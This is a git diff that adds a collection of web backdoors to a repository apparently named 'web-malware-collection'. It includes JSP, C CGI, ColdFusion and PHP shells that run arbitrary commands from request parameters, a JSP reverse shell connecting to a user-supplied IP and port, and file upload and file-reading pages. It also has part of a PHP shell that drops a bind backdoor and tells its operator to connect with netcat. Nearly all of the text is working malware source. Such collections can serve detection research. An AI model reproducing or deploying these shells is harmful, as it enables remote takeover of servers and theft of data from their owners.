a directory + if (!new_dir.endsWith(File.separator)) new_dir += File.separator; + for (int i = v.size() - 1; i >= 0; i--) { + File f = (File) v.get(i); + if (!isAllowed(f)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + error = true; + break; + } + else if (!f.canWrite() || !f.renameTo(new File(new_dir + + f.getAbsolutePath().substring(dir.length())))) { + request.setAttribute("error", "Cannot move " + f.getAbsolutePath() + + ". Move aborted"); + error = true; + break; + } + } + if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files moved"); + else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File moved"); + else if (!error) request.setAttribute("error", "No files selected"); + } + } + // Copy Files + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(COPY_FILES))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = (String) request.getAttribute("dir"); + if (!dir.endsWith(File.separator)) dir += File.separator; + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + if (!isAllowed(new File(new_dir))){ + request.setAttribute("error", "You are not allowed to access " + new_dir); + } + else{ + boolean error = false; + if (!new_dir.endsWith(File.separator)) new_dir += File.separator; + try { + byte buffer[] = new byte[0xffff]; + for (int i = 0; i < v.size(); i++) { + File f_old = (File) v.get(i); + File f_new = new File(new_dir + f_old.getAbsolutePath().substring(dir.length())); + if (!isAllowed(f_old)|| !isAllowed(f_new)){ + request.setAttribute("error", "You are not allowed to access " + f_new.getAbsolutePath()); + error = true; + } + else if (f_old.isDirectory()) f_new.mkdirs(); + // Overwriting is forbidden + else if (!f_new.exists()) { + copyStreams(new FileInputStream(f_old), new FileOutputStream(f_new), buffer); + } + else { + // File exists + request.setAttribute("error", "Cannot copy " + f_old.getAbsolutePath() + + ", file already exists. Copying aborted"); + error = true; + break; + } + } + } + catch (IOException e) { + request.setAttribute("error", "Error " + e + ". Copying aborted"); + error = true; + } + if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files copied"); + else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File copied"); + else if (!error) request.setAttribute("error", "No files selected"); + } + } + // Directory viewer + if (dir_view && request.getAttribute("dir") != null) { + File f = new File("" + request.getAttribute("dir")); + //Check, whether the dir exists + if (!f.exists() || !isAllowed(f)) { + if (!f.exists()){ + request.setAttribute("error", "Directory " + f.getAbsolutePath() + " does not exist."); + } + else{ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + } + //if attribute olddir exists, it will change to olddir + if (request.getAttribute("olddir") != null && isAllowed(new File((String) request.getAttribute("olddir")))) { + f = new File("" + request.getAttribute("olddir")); + } + //try to go to the parent dir + else { + if (f.getParent() != null && isAllowed(f)) f = new File(f.getParent()); + } + //If this dir also do also not exist, go back to browser.jsp root path + if (!f.exists()) { + String path = null; + if (application.getRealPath(request.getRequestURI()) != null) path = new File( + application.getRealPath(request.getRequestURI())).getParent(); + + if (path == null) // handle the case were we are not in a directory (ex: war file) + path = new File(".").getAbsolutePath(); + f = new File(path); + } + if (isAllowed(f)) request.setAttribute("dir", f.getAbsolutePath()); + else request.setAttribute("dir", null); + } +%> + +<%=request.getAttribute("dir")%> + + +<% + //Output message + if (request.getAttribute("message") != null) { + out.println("
        "); + out.println(request.getAttribute("message")); + out.println("
        "); + } + //Output error + if (request.getAttribute("error") != null) { + out.println("
        "); + out.println(request.getAttribute("error")); + out.println("
        "); + } + if (request.getAttribute("dir") != null){ +%> +
        + +<% + // Output the table, starting with the headers. + String dir = URLEncoder.encode("" + request.getAttribute("dir")); + String cmd = browser_name + "?dir=" + dir; + int sortMode = 1; + if (request.getParameter("sort") != null) sortMode = Integer.parseInt(request + .getParameter("sort")); + int[] sort = new int[] {1, 2, 3, 4}; + for (int i = 0; i < sort.length; i++) + if (sort[i] == sortMode) sort[i] = -sort[i]; + out.println("" + + "" + + "" + + "" + + ""); + char trenner = File.separatorChar; + // Output the Root-Dirs, without FORBIDDEN_DRIVES + File[] entry = File.listRoots(); + for (int i = 0; i < entry.length; i++) { + boolean forbidden = false; + for (int i2 = 0; i2 < FORBIDDEN_DRIVES.length; i2++) { + if (entry[i].getAbsolutePath().toLowerCase().equals(FORBIDDEN_DRIVES[i2])) forbidden = true; + } + if (!forbidden) { + out.println(""); + out.println(""); + } + } + // Output the parent directory link ".." + if (f.getParent() != null) { + out.println(""); + out.println(""); + } + // Output all files and dirs and calculate the number of files and total size + entry = f.listFiles(); + if (entry == null) entry = new File[] {}; + long totalSize = 0; // The total size of the files in the current directory + long fileCount = 0; // The count of files in the current working directory + if (entry != null && entry.length > 0) { + Arrays.sort(entry, new FileComp(sortMode)); + for (int i = 0; i < entry.length; i++) { + String name = URLEncoder.encode(entry[i].getAbsolutePath()); + String type = "File"; // This String will tell the extension of the file + if (entry[i].isDirectory()) type = "DIR"; // It's a DIR + else { + String tempName = entry[i].getName().replace(' ', '_'); + if (tempName.lastIndexOf('.') != -1) type = tempName.substring( + tempName.lastIndexOf('.')).toLowerCase(); + } + String ahref = ""; + String link = buf; // The standard view link, uses Mime-type + if (entry[i].isDirectory()) { + if (entry[i].canRead() && USE_DIR_PREVIEW) { + //Show the first DIR_PREVIEW_NUMBER directory entries in a tooltip + File[] fs = entry[i].listFiles(); + if (fs == null) fs = new File[] {}; + Arrays.sort(fs, new FileComp()); + StringBuffer filenames = new StringBuffer(); + for (int i2 = 0; (i2 < fs.length) && (i2 < 10); i2++) { + String fname = conv2Html(fs[i2].getName()); + if (fs[i2].isDirectory()) filenames.append("[" + fname + "];"); + else filenames.append(fname + ";"); + } + if (fs.length > DIR_PREVIEW_NUMBER) filenames.append("..."); + else if (filenames.length() > 0) filenames + .setLength(filenames.length() - 1); + link = ahref + "dir=" + name + "\" title=\"" + filenames + "\">" + + FOL_IMG + "[" + buf + "]"; + } + else if (entry[i].canRead()) { + link = ahref + "dir=" + name + "\">" + FOL_IMG + "[" + buf + "]"; + } + else link = FOL_IMG + "[" + buf + "]"; + } + else if (entry[i].isFile()) { //Entry is file + totalSize = totalSize + entry[i].length(); + fileCount = fileCount + 1; + if (entry[i].canRead()) { + dlink = ahref + "downfile=" + name + "\">Download"; + //If you click at the filename + if (USE_POPUP) link = ahref + "file=" + name + "\" target=\"_blank\">" + + buf + ""; + else link = ahref + "file=" + name + "\">" + buf + ""; + if (entry[i].canWrite()) { // The file can be edited + //If it is a zip or jar File you can unpack it + if (isPacked(name, true)) elink = ahref + "unpackfile=" + name + + "\">Unpack"; + else elink = ahref + "editfile=" + name + "\">Edit"; + } + else { // If the file cannot be edited + //If it is a zip or jar File you can unpack it + if (isPacked(name, true)) elink = ahref + "unpackfile=" + name + + "\">Unpack"; + else elink = ahref + "editfile=" + name + "\">View"; + } + } + else { + link = buf; + } + } + String date = dateFormat.format(new Date(entry[i].lastModified())); + out.println(""); + if (entry[i].canRead()) { + out + .println(""); + } + else { + out + .println(""); + } + out.print(""); + if (entry[i].isDirectory()) out.print(""); + else { + out.print(""); + } + out.println(""); // The edit link (or view, depending) + } + }%> +
         NameSizeTypeDate  
         "); + String name = URLEncoder.encode(entry[i].getAbsolutePath()); + String buf = entry[i].getAbsolutePath(); + out.println("  [" + buf + "]"); + out + .println("     
        "); + out.println("  " + FOL_IMG + "[..]"); + out + .println("     
         " + link + " " + + convertFileSize(entry[i].length()) + "" + type + "  " + // The file type (extension) + date + "" + // The date the file was created + dlink + "" + // The download link + elink + "
        + Select all +

        + + <%=convertFileSize(totalSize)%> in <%=fileCount%> files in <%= dir2linkdir((String) request.getAttribute("dir"), browser_name, sortMode)%> + +

        +

        + "> + + + +

        +

        + + + + + + +

        +
        +
        + "> + + + +
        + <% if (NATIVE_COMMANDS){%> +
        + "> + + + +
        <% + } + }%> +
        +
        + jsp File Browser version <%= VERSION_NR%> by www.vonloesch.de +
        + +<% + } +%> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/JSP/cmd.jsp b/web-malware-collection-master/Backdoors/JSP/cmd.jsp new file mode 100755 index 0000000..983519f --- /dev/null +++ b/web-malware-collection-master/Backdoors/JSP/cmd.jsp @@ -0,0 +1,35 @@ +<%@ page import="java.util.*,java.io.*"%> +<% +// +// JSP_KIT +// +// cmd.jsp = Command Execution (unix) +// +// by: Unknown +// modified: 27/06/2003 +// +%> + +
        + + +
        +
        +<%
        +if (request.getParameter("cmd") != null) {
        +        out.println("Command: " + request.getParameter("cmd") + "
        "); + Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); + disr = dis.readLine(); + } + } +%> +
        + + + diff --git a/web-malware-collection-master/Backdoors/JSP/cmd_win32.jsp b/web-malware-collection-master/Backdoors/JSP/cmd_win32.jsp new file mode 100755 index 0000000..5baadc0 --- /dev/null +++ b/web-malware-collection-master/Backdoors/JSP/cmd_win32.jsp @@ -0,0 +1,31 @@ +<%@ page import="java.util.*,java.io.*,java.net.*"%> +<% +// +// JSP_KIT +// +// cmd.jsp = Command Execution (win32) +// +// by: Unknown +// modified: 27/06/2003 +// +%> + +
        + + +
        +
        +<%
        +if (request.getParameter("cmd") != null) {
        +        out.println("Command: " + request.getParameter("cmd") + "\n
        "); + Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd")); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); disr = dis.readLine(); } + } +%> +
        + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/JSP/jspShell.jsp b/web-malware-collection-master/Backdoors/JSP/jspShell.jsp new file mode 100755 index 0000000..41e446e --- /dev/null +++ b/web-malware-collection-master/Backdoors/JSP/jspShell.jsp @@ -0,0 +1,352 @@ +<%@page contentType="text/html"%><%@page pageEncoding="UTF-8"%><%@page import="java.io.*"%><%@page import="java.io.File.*"%><%@page import="java.security.MessageDigest"%><%! + public class ProcessThread extends Thread { + + private ByteArrayOutputStream progOutput = new ByteArrayOutputStream(1024); + private ByteArrayOutputStream progErrorOutput = new ByteArrayOutputStream(1024); + private BufferedWriter progIn; + private Process proc; + private InputStream inputStream; + private InputStream inputStreamErro; + private OutputStream outputStream; + + public ByteArrayOutputStream getProgOutput() { + return progOutput; + } + + public BufferedWriter getProgIn() { + return progIn; + } + + public ByteArrayOutputStream getProgError() { + return progErrorOutput; + } + + + public void interrupt() { + if (proc != null) { + proc.destroy(); + } + super.interrupt(); + } + + public void run() { + Runtime runtime = Runtime.getRuntime(); + CopyThread copyThreadOut = null; + CopyThread copyThreadError = null; + try { + proc = runtime.exec("cmd");// for Windows System use runtime.exec("cmd"); + inputStream = proc.getInputStream(); + copyThreadOut = new CopyThread("copyThreadOut", inputStream, progOutput); + copyThreadOut.start(); + + inputStreamErro = proc.getErrorStream(); + copyThreadError = new CopyThread("copyThreadError", inputStreamErro, progErrorOutput); + copyThreadError.start(); + outputStream = proc.getOutputStream(); + progIn = new BufferedWriter(new OutputStreamWriter(outputStream)); + + + progOutput.write(("Exit=" + proc.waitFor()).getBytes()); + System.out.println("Process end!!!!!!!"); + } catch (InterruptedException ex) { + ex.printStackTrace(); + } catch (IOException ex) { + ex.printStackTrace(); + } finally { + if (copyThreadOut != null && copyThreadOut.isAlive()) { + + try { + copyThreadOut.stop(); + } catch (Throwable t) { + t.printStackTrace(); + } + } + if (copyThreadError != null && copyThreadError.isAlive()) { + try { + copyThreadError.stop(); + } catch (Throwable t) { + t.printStackTrace(); + } + } + } + } + } + + public class CopyThread extends Thread { + + private InputStream inputStream; + private OutputStream outputStream; + private String name; + + public CopyThread(String name, InputStream inputStream, OutputStream outputStream) { + this.inputStream = inputStream; + this.outputStream = outputStream; + this.name = name; + } + + @Override + public void run() { + int _char; + try { + while ((_char = inputStream.read()) > 0) { + System.out.write(_char); + synchronized (outputStream) { + outputStream.write(_char); + } + } + } catch (Exception ex) { + ex.printStackTrace(); + } + } + } + + private void setupProcess(HttpSession session) { + Thread processThreadSessionOld = (Thread) session.getAttribute("process"); + if (processThreadSessionOld != null) { + processThreadSessionOld.interrupt(); + } + ProcessThread processThreadSession = new ProcessThread(); + processThreadSession.start(); + session.setAttribute("process", processThreadSession); + while(processThreadSession.getProgIn()==null && processThreadSession.isAlive()){ + + } + session.setAttribute("progInBufferedWriter", processThreadSession.getProgIn()); + session.setAttribute("progOutputByteArrayOutputStream", processThreadSession.getProgOutput()); + session.setAttribute("progErrorByteArrayOutputStream", processThreadSession.getProgError()); + } + + private String getOutput(HttpSession session) { + ByteArrayOutputStream progOutput = (ByteArrayOutputStream) session.getAttribute("progOutputByteArrayOutputStream"); + ByteArrayOutputStream progErrorOutput = (ByteArrayOutputStream) session.getAttribute("progErrorByteArrayOutputStream"); + StringBuilder stringBuilder = new StringBuilder(); + if (progOutput != null) { + synchronized (progOutput) { + stringBuilder.append(progOutput.toString()); + progOutput.reset(); + } + } + if (progErrorOutput != null) { + synchronized (progErrorOutput) { + stringBuilder.append(progErrorOutput.toString()); + progErrorOutput.reset(); + } + } + return stringBuilder.toString(); + } + + private void execute(HttpSession session, String cmd) throws IOException { + BufferedWriter progIn = (BufferedWriter) session.getAttribute("progInBufferedWriter"); + if (progIn != null) { + progIn.write(cmd + "\n"); + progIn.flush(); + } + + } +%><% + String ServeName = request.getRequestURI(); + String IsAuth = (String) session.getAttribute("isauth"); + if ("true".equals(IsAuth)) { + + String function = request.getParameter("function"); + if (function != null) { + if ("exit".equalsIgnoreCase(function)) { + session.invalidate(); + return; + } + if ("execute".equalsIgnoreCase(function)) { + String cmd = request.getParameter("cmd"); + if (cmd != null && !cmd.isEmpty()) { + execute(session, cmd); + + + } + } else if ("update".equalsIgnoreCase(function)) { + out.write(getOutput(session)); + + } else if ("controlc".equalsIgnoreCase(function)) { + setupProcess(session); + } + return; + } + } +%> + + + + + JSP Shell + + + + + +

        JSP Shell

        + <% + if (session.isNew()) { + %> +
        +
        + Authentication +

        Password: + + +

        +
        +
        + + +<% + return; + } else { + if ((IsAuth == null && request.getParameter("pass") != null)) { + String pass = request.getParameter("pass"); + MessageDigest mdAlgorithm = MessageDigest.getInstance("MD5"); + + mdAlgorithm.update(pass.getBytes()); + + byte[] digest = mdAlgorithm.digest(); + StringBuffer hexString = new StringBuffer(); + + for (int i = 0; i < digest.length; i++) { + pass = Integer.toHexString(0xFF & digest[i]); + if (pass.length() < 2) { + pass = "0" + pass; + } + hexString.append(pass); + } + + if (!(hexString.toString().equalsIgnoreCase("95f292773550fc8d39aaa8ddc9f3cfac"))) { +%> +MUKHA MO!!! +<% + session.invalidate(); + return; + } else { + session.setAttribute("isauth", "true"); + //Start proc + setupProcess(session); + + } + } else if ("true".equals(IsAuth)) { + } else { + session.invalidate(); + return; + } + } +%> + +
        +
        + Shell +

        + +

        +

        + + + Auto Update +

        + +
        +
        +
        + +

        + + +
        + + diff --git a/web-malware-collection-master/Backdoors/JSP/jspbd.jsp b/web-malware-collection-master/Backdoors/JSP/jspbd.jsp new file mode 100755 index 0000000..4b2b73c --- /dev/null +++ b/web-malware-collection-master/Backdoors/JSP/jspbd.jsp @@ -0,0 +1,87 @@ +// backdoor.jsp +< %@ +page import="java.lang.*, java.util.*, java.io.*, java.net.*" +% > +< %! +static class StreamConnector extends Thread +{ + InputStream is; + OutputStream os; + + StreamConnector(InputStream is, OutputStream os) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader isr = null; + BufferedWriter osw = null; + + try + { + isr = new BufferedReader(new InputStreamReader(is)); + osw = new BufferedWriter(new OutputStreamWriter(os)); + + char buffer[] = new char[8192]; + int lenRead; + + while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0) + { + osw.write(buffer, 0, lenRead); + osw.flush(); + } + } + catch (Exception ioe) + + try + { + if(isr != null) isr.close(); + if(osw != null) osw.close(); + } + catch (Exception ioe) + } +} +% > + +

        JSP Backdoor Reverse Shell

        + +
        +IP Address + +Port + + +
        +

        +


        + +< % +String ipAddress = request.getParameter("ipaddress"); +String ipPort = request.getParameter("port"); + +if(ipAddress != null && ipPort != null) +{ + Socket sock = null; + try + { + sock = new Socket(ipAddress, (new Integer(ipPort)).intValue()); + + Runtime rt = Runtime.getRuntime(); + Process proc = rt.exec("cmd.exe"); + + StreamConnector outputConnector = + new StreamConnector(proc.getInputStream(), + sock.getOutputStream()); + + StreamConnector inputConnector = + new StreamConnector(sock.getInputStream(), + proc.getOutputStream()); + + outputConnector.start(); + inputConnector.start(); + } + catch(Exception e) +} +% > diff --git a/web-malware-collection-master/Backdoors/JSP/list.jsp b/web-malware-collection-master/Backdoors/JSP/list.jsp new file mode 100755 index 0000000..eb0db3a --- /dev/null +++ b/web-malware-collection-master/Backdoors/JSP/list.jsp @@ -0,0 +1,77 @@ +<%@ page import="java.util.*,java.io.*"%> +<% +// +// JSP_KIT +// +// list.jsp = Directory & File View +// +// by: Sierra +// modified: 27/06/2003 +// +%> +<% +if(request.getParameter("file")==null) { + %> + +
        + + +
        + <% + } +%> +<% //read the file name. +try { +File f = new File(request.getParameter("file")); +if(f.isDirectory()) { + int i; + String fname = new String("Unknown"); + String fcolor = new String("Black"); + %> + + + <% + out.print("Path: " + f.toString() + "

        "); + File flist[] = f.listFiles(); + for(i=0; i" + fname.toString() + " " + "( Size: " + flist[i].length() + " bytes)
        \n"); + } + %> +
        + <% + + } else { + if(f.canRead() == true) { + InputStream in = new FileInputStream(f); + ServletOutputStream outs = response.getOutputStream(); + int left = 0; + try { + while((left) >= 0 ) { + left = in.read(); + outs.write(left); + } + } catch(IOException ex) {ex.printStackTrace();} + outs.flush(); + outs.close(); + in.close(); + } else { + out.print("Can't Read file
        "); + } + } +} catch(Exception ex) {ex.printStackTrace();} +%> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/JSP/up.jsp b/web-malware-collection-master/Backdoors/JSP/up.jsp new file mode 100755 index 0000000..1627c24 --- /dev/null +++ b/web-malware-collection-master/Backdoors/JSP/up.jsp @@ -0,0 +1,162 @@ + +<%@ page import="java.io.*,java.util.*,javax.servlet.*" %> +<% +// +// JSP_KIT +// +// up.jsp = File Upload (unix) +// +// by: Unknown +// modified: 27/06/2003 +// +%> + +
        + + +
        + +<%! +public String getBoundary(HttpServletRequest request,Properties prop) throws ServletException,IOException{ + String boundary = null; + Enumeration enum = request.getHeaderNames(); + while(enum.hasMoreElements()){ + String header = (String)enum.nextElement(); + String hvalue = request.getHeader(header); + prop.setProperty((header).toLowerCase(),hvalue); + if("content-type".equalsIgnoreCase(header) ){ + int idx = hvalue.lastIndexOf("boundary="); + if(idx != -1 ){ + boundary= hvalue.substring(idx+9 , hvalue.length()); + } + } + } + return boundary; + +} +public String getFileName(String secondline){ + int len = secondline.length(); + int idx = secondline.lastIndexOf("filename="); + if(idx == -1 ) return null; + String filename = secondline.substring(idx+10 , len-1); + filename = filename.replace('\\','/'); + idx = filename.lastIndexOf("/"); + idx = idx + 1; + filename = filename.substring( idx ); + return filename; +} +%> +<% +String DPATH = "/tmp/"; +int ROUGHSIZE = 640000; // BUG: Corta el fichero si es mayor de 640Ks +int MAXSIZE = 10; // 10 Mega Byte +String boundary = getBoundary(request,prop); +if(boundary == null ){ + boundary = prop.getProperty("boundary"); + }else{ + boundary = "--"+boundary; + } +if(boundary == null ){ + return; + } +Long contentsize = new Long(prop.getProperty("content-length","0")); +int c; +StringWriter st = new StringWriter(); +if(contentsize.longValue() < 1L ){ + return; + } +long l = contentsize.longValue() - ROUGHSIZE; +int KB = 1024; +int MB = 1024 * KB; +int csize = (int)(l / MB); +if(csize > MAXSIZE ){ + return; + } +ServletInputStream fin = request.getInputStream(); +int cn; +int count=0; +while((c=fin.read()) != -1 ){ + if( c == '\r') break; + st.write(c); + count++; + } +c=fin.read(); +String tboundary = st.getBuffer().toString(); +tboundary=tboundary.trim(); +if(! tboundary.equalsIgnoreCase( boundary) ){ + return; + } +st.close(); +st = null; +st = new StringWriter(); +while((c=fin.read()) != -1 ){ + if( c == '\r' ) break; + st.write(c); + } +c=fin.read(); +String secondline = st.getBuffer().toString(); +String filename = getFileName(secondline); +st.close(); +st = null; +st = new StringWriter(); +while((c=fin.read()) != -1 ){ + if( c == '\r' ) break; + st.write( c ); + } +c=fin.read(); + +fin.read(); +fin.read(); +File newfile = null; +FileOutputStream fout =null; +try{ + if(filename == null) throw new FileNotFoundException("File Name not found"); + newfile = new File(DPATH+filename); + fout = new FileOutputStream( newfile ); + }catch(FileNotFoundException fnexp){ + fin.close(); + return; + } + +byte b[] = null; +while(l > 1024L){ + b = new byte[1024]; + fin.read(b,0,1024); + fout.write(b); + b=null; + l -= 1024L; + } +if(l > 0){ + b = new byte[(int)l]; + fin.read(b,0,(int)l); + fout.write(b); + } + + +ByteArrayOutputStream baos = new ByteArrayOutputStream(); +while((c = fin.read()) != -1){ + baos.write(c); + } +String laststring = baos.toString(); +int idx = laststring.indexOf(boundary); +b = baos.toByteArray(); +if(idx > 2){ + fout.write(b,0,idx-2); + }else{ + fout.close(); + newfile.delete(); + return; + } +fout.flush(); +fout.close(); +fin.close(); + +out.println("FileName: " + newfile.getName()); +out.println("FileSize: " + newfile.length()); + +%> + + + + + diff --git a/web-malware-collection-master/Backdoors/JSP/up_win32.jsp b/web-malware-collection-master/Backdoors/JSP/up_win32.jsp new file mode 100755 index 0000000..95eeac9 --- /dev/null +++ b/web-malware-collection-master/Backdoors/JSP/up_win32.jsp @@ -0,0 +1,162 @@ + +<%@ page import="java.io.*,java.util.*,javax.servlet.*" %> +<% +// +// JSP_KIT +// +// up.jsp = File Upload (win32) +// +// by: Unknown +// modified: 27/06/2003 +// +%> + +
        + + +
        + +<%! +public String getBoundary(HttpServletRequest request,Properties prop) throws ServletException,IOException{ + String boundary = null; + Enumeration enum = request.getHeaderNames(); + while(enum.hasMoreElements()){ + String header = (String)enum.nextElement(); + String hvalue = request.getHeader(header); + prop.setProperty((header).toLowerCase(),hvalue); + if("content-type".equalsIgnoreCase(header) ){ + int idx = hvalue.lastIndexOf("boundary="); + if(idx != -1 ){ + boundary= hvalue.substring(idx+9 , hvalue.length()); + } + } + } + return boundary; + +} +public String getFileName(String secondline){ + int len = secondline.length(); + int idx = secondline.lastIndexOf("filename="); + if(idx == -1 ) return null; + String filename = secondline.substring(idx+10 , len-1); + filename = filename.replace('\\','/'); + idx = filename.lastIndexOf("/"); + idx = idx + 1; + filename = filename.substring( idx ); + return filename; +} +%> +<% +String DPATH = "c:\\"; +int ROUGHSIZE = 640000; // BUG: Corta el fichero si es mayor de 640Ks +int MAXSIZE = 10; // 10 Mega Byte +String boundary = getBoundary(request,prop); +if(boundary == null ){ + boundary = prop.getProperty("boundary"); + }else{ + boundary = "--"+boundary; + } +if(boundary == null ){ + return; + } +Long contentsize = new Long(prop.getProperty("content-length","0")); +int c; +StringWriter st = new StringWriter(); +if(contentsize.longValue() < 1L ){ + return; + } +long l = contentsize.longValue() - ROUGHSIZE; +int KB = 1024; +int MB = 1024 * KB; +int csize = (int)(l / MB); +if(csize > MAXSIZE ){ + return; + } +ServletInputStream fin = request.getInputStream(); +int cn; +int count=0; +while((c=fin.read()) != -1 ){ + if( c == '\r') break; + st.write(c); + count++; + } +c=fin.read(); +String tboundary = st.getBuffer().toString(); +tboundary=tboundary.trim(); +if(! tboundary.equalsIgnoreCase( boundary) ){ + return; + } +st.close(); +st = null; +st = new StringWriter(); +while((c=fin.read()) != -1 ){ + if( c == '\r' ) break; + st.write(c); + } +c=fin.read(); +String secondline = st.getBuffer().toString(); +String filename = getFileName(secondline); +st.close(); +st = null; +st = new StringWriter(); +while((c=fin.read()) != -1 ){ + if( c == '\r' ) break; + st.write( c ); + } +c=fin.read(); + +fin.read(); +fin.read(); +File newfile = null; +FileOutputStream fout =null; +try{ + if(filename == null) throw new FileNotFoundException("File Name not found"); + newfile = new File(DPATH+filename); + fout = new FileOutputStream( newfile ); + }catch(FileNotFoundException fnexp){ + fin.close(); + return; + } + +byte b[] = null; +while(l > 1024L){ + b = new byte[1024]; + fin.read(b,0,1024); + fout.write(b); + b=null; + l -= 1024L; + } +if(l > 0){ + b = new byte[(int)l]; + fin.read(b,0,(int)l); + fout.write(b); + } + + +ByteArrayOutputStream baos = new ByteArrayOutputStream(); +while((c = fin.read()) != -1){ + baos.write(c); + } +String laststring = baos.toString(); +int idx = laststring.indexOf(boundary); +b = baos.toByteArray(); +if(idx > 2){ + fout.write(b,0,idx-2); + }else{ + fout.close(); + newfile.delete(); + return; + } +fout.flush(); +fout.close(); +fin.close(); + +out.println("FileName: " + newfile.getName()); +out.println("FileSize: " + newfile.length()); + +%> + + + + + diff --git a/web-malware-collection-master/Backdoors/Other/cmd.c b/web-malware-collection-master/Backdoors/Other/cmd.c new file mode 100755 index 0000000..9af4450 --- /dev/null +++ b/web-malware-collection-master/Backdoors/Other/cmd.c @@ -0,0 +1,74 @@ +// +// cmdcgi.exe 0.1 darkraver (12/05/2005) +// + +#include + + +char *uri_decode(char *uri) { + int i=0; + int ptr=0; + char *command; + char hexa[3]; + char code; + + command=(char *)malloc(strlen(uri)); + + for(i=0;i\n"); + + cmd=(char *)getenv("QUERY_STRING"); + + if(!cmd || strlen(cmd)==0) { + printf("

        "); + printf(""); + printf(""); + printf("


        "); + } else { + //printf("QUERY_STRING: %s\n", cmd); + cmd+=4; + cmd=uri_decode(cmd); + printf("

        COMMAND: %s


        \n", cmd);
        +    fflush(stdout);
        +    execl("/bin/sh", "/bin/sh", "-c", cmd, 0);
        +    }
        +
        +}
        +
        +
        +
        +
        diff --git a/web-malware-collection-master/Backdoors/Other/cmd.cfm b/web-malware-collection-master/Backdoors/Other/cmd.cfm
        new file mode 100755
        index 0000000..6e85c78
        --- /dev/null
        +++ b/web-malware-collection-master/Backdoors/Other/cmd.cfm
        @@ -0,0 +1,32 @@
        +
        +
        +
        +
        +
        +
        + 
        +  
        +  
        + 
        + 
        +  
        +  
        + 
        + 
        +  
        +  
        + 
        +
        Command: < input type=text name="cmd" size=50 value="#form.cmd#" > < br>
        Options: < input type=text name="opts" size=50 value="#form.opts#" >< br>
        Timeout:< input type=text name="timeout" size=4 value="#form.timeout#" value="5" >
        + + + + + + + +
        +#myVar#
        +
        +
        + + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/150.php b/web-malware-collection-master/Backdoors/PHP/150.php new file mode 100755 index 0000000..871458a --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/150.php @@ -0,0 +1,3 @@ + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/27.9.txt b/web-malware-collection-master/Backdoors/PHP/27.9.txt new file mode 100755 index 0000000..06f5ce3 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/27.9.txt @@ -0,0 +1,2905 @@ +&1","r"))) { +return 126; +} +while (!feof($p)) { +$line=fgets($p,1000); +$out .= $line; +} +pclose($p); +return $out; +} +}else{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +} + + +function checkproxyhost(){ +$host = getenv("HTTP_HOST"); +$filename = '/tmp/.setan/xh'; +if (file_exists($filename)) { +$_POST['proxyhostmsg']="

        Success!

        $host:6543

        Note: If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.

        "; +} else { +$_POST['proxyhostmsg']="

        Failed!

        Note: If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.

        "; + } +} + +if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) +{ + $ip = gethostbyname($_SERVER["HTTP_HOST"]); + $por = $_POST['backconnectport']; + if(is_writable(".")){ + cfb("shbd",$backdoor); + ex("chmod 777 shbd"); + $cmd = "./shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n

        Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n
        Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command 'nc $ip $por'.$data"; + }else{ + cfb("/tmp/shbd",$backdoor); + ex("chmod 777 /tmp/shbd"); + $cmd = "./tmp/shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n

        Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n
